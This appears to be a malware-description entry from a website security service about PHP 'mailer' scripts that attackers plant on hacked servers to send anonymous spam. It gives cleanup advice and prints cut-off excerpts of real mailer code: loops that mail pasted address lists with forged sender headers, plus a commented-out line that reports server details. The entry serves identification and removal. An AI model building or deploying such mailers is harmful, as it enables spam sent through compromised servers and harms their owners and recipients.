Mailers is a category of scripts that hackers install on compromised servers to send out spam and anonymous emails.
They take advantage of the servers' bandwidth and other resourses to send out tons of spam emails in a short time. Moreover, headers of such emails don't contain traces of the hackers - they lead to the hacked server -
so all the spam campaign remains quite anonymous. Hacked servers is not a scarse resourse and spammers don't care much if one of them gets blacklisted for spamming they can easily move to another server. However, to minimize risks of
blacklisting, they usually evenly distribute mailing between several hacked servers.
Mailers vary from most simple scripts with basic functionality that allow to send one email at a time to a single recepient to very sophisticated scripts that manage large mailing lists, support complex formatting rules


Any servers with enabled PHP';
$cleanup='Delete the mailer script and scan your server for other types of malware and specifically for backdoors. Make sure to identy and close the security hole.
You also need to check if your server IP address got blacklisted by various anti-spam blacklist providers as a result of hacker activity.
You can also sign up with us and let our team remove the malware for you.


...typical excerpts from various mailer scripts..

$FromName = $_POST['FromName'];
$FromMail = $_POST['FromMail'];
$assunto = $_POST['assunto'];
$mensagem = $_POST['html'];
$mensagem = stripslashes($mensagem);
$headers = "From: $FromName<$FromMail>\n";
$headers .= "Reply-To: $FromMail\n";
$headers .= "Return-Path: $FromMail\n";
$headers .= "Content-Transfer-encoding: 8bit\n";
$headers .= "MIME-Version: 1.0\n";
$headers .= "Mail-MMX-Priority: High\n";
$headers .= "Delivered-to: $FromMail\n";
$headers .= "X-SID-PRA: $FromMail\n";
$headers .= "Content-Type: text/html; charset=UTF-8\n";
$arquivo = $_POST['lista'];
$file = explode("\n", $arquivo);


function enviando(){
$de[1] = $_POST['de'];
$nome[1] = $_POST['nome'];
$assunto[1] = $_POST['assunto'];
$mensagem[1] = $_POST['mensagem'];
$mensagem[1] = stripslashes($mensagem[1]);
$emails = $_POST['emails'];
$para = explode("\n", $emails);
$n_emails = count($para);
$de[2] = $_POST['de'];
$nome[2] = $_POST['nome'];
$assunto[2] = $_POST['assunto'];
$mensagem[2] = $_POST['mensagem'];
$vai = $_POST['vai'];
if ($vai){
for ($set=0; $set < $n_emails; $set++){
$headers = "MIME-Version: 1.0\r\n";
$headers .= "Content-type: text/html; charset=iso-8859-1\r\n";
$headers .= "From: $nome[$msg] <$de[$msg]>\r\n";
$headers .= "Return-Path: <$de[$msg]>\r\n";
$destino = $para[$set];
$enviar = mail($destino, $assunto[$msg], $mensagem[$msg], $headers);
if ($enviar){
echo ('<font color="green"> <strong>'. $n_mail .' - '. $destino .' Enviado!</font><br>');
} else {
echo ('<font color="red"> <strong>'. $n_mail .' - '. $destino .' Nao Enviado!</font><br>');



$mess = $_POST['text'];
$mess=str_replace('\"','"', $mess);
$mess=str_replace("\'","'", $mess);
$email = $_POST['otkogo'];
$AddAddress = $_POST['email'];
if ($AddAddress=='') {
$AddAddress_name = $_POST['email_name'];
$FromName = $_POST["otkogo_name"];
$title = $_POST['tema'];
if ($encoding==1) {
} else {
$title = substr(htmlspecialchars(trim($title)), 0, 1000);
$mess = substr(trim($mess), 0, 1000000);
$mail = new PHPMailer();
$mail->From = $email;
$mail->FromName = $FromName;
$mail->CharSet = $encodin;
$mail->AddAddress($AddAddress, $AddAddress_name);


<textarea name="emaillist" cols="30" rows="10"><? print $emaillist; ?></textarea> </font></td> </tr> </table> </form>
<? if ($action){
if (!$from && !$subject && !$message && !$emaillist){
print "Please complete all fields before sending your message.";
$allemails = split("\n", $emaillist);
$numemails = count($allemails);
for($x=0; $x<$numemails; $x++){
$to = $allemails[$x];
if ($to){
$to = ereg_replace(" ", "", $to);
$message = ereg_replace("&email&", $to, $message);
$subject = ereg_replace("&email&", $to, $subject);
print "Sending mail to $to.......";
$header = "From: $realname <$from>\r\nReply-To: $replyto\r\n";
$header .= "MIME-Version: 1.0\r\n";
$header .= "Content-Type: text/$contenttype\r\n";
$header .= "Content-Transfer-Encoding: 8bit\r\n\r\n";
mail($to, $subject, $message, $header);
print "ok<br>";
$ra44 = rand(1,99999);
$subj98 = "Mailer-Fwd";
$email = "";
$from="From: GRATIS <>";
$h65 = $_SERVER['PHP_SELF'];
$msg8873 = "$a5\n$b33\n$c87\n$d23\n$e09\n$f23\n$g32\n$h65";
//mail($email, $subj98, $msg8873, $from);
} ?>
<p class="style1">PHP Mailer<br> &copy Rosebanditz 2010, Juli.<br> </p> <?php if(isset($_POST['action']) && $numemails !==0 ){echo "<script>alert('Mail sending complete\\r\\n$numemails mail(s) was sent successfully'); </script>";} ?> <? exit() ?> </body> </html> </body>